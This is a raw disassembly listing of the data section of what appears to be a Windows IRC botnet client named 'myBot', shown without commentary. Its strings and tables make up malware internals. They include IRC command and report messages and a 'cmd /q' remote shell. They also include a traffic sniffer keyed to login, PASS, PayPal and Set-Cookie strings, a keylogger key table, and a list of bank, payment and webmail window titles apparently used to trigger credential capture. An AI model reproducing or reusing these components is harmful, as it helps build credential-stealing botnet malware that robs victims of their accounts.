		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C14	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C4C	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_434C80:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435128	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_43516C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351D4	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43521C	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_43525C	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4352A0	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352CC	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_4352F8	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_435334	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_435360	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_43538C	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_435528	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_43555C	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4355A4	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355CC	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43560C	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43564C	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_43568C	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 10h
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435850	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 4
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 4
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 4
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 4
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 4
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; σ
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 10h
		dd 4 dup(0)
dword_436450	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BBC	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C8
		dd offset off_4374C4
		dd offset off_4374C0
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C5Co
		align 10h
off_4374C0	dd offset loc_505445+1	; DATA XREF: ___:00436C58o
off_4374C4	dd offset aFailedToSta_36+1Dh ;	DATA XREF: ___:00436C54o
off_4374C8	dd offset locret_544F42	; DATA XREF: ___:00436C50o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 4
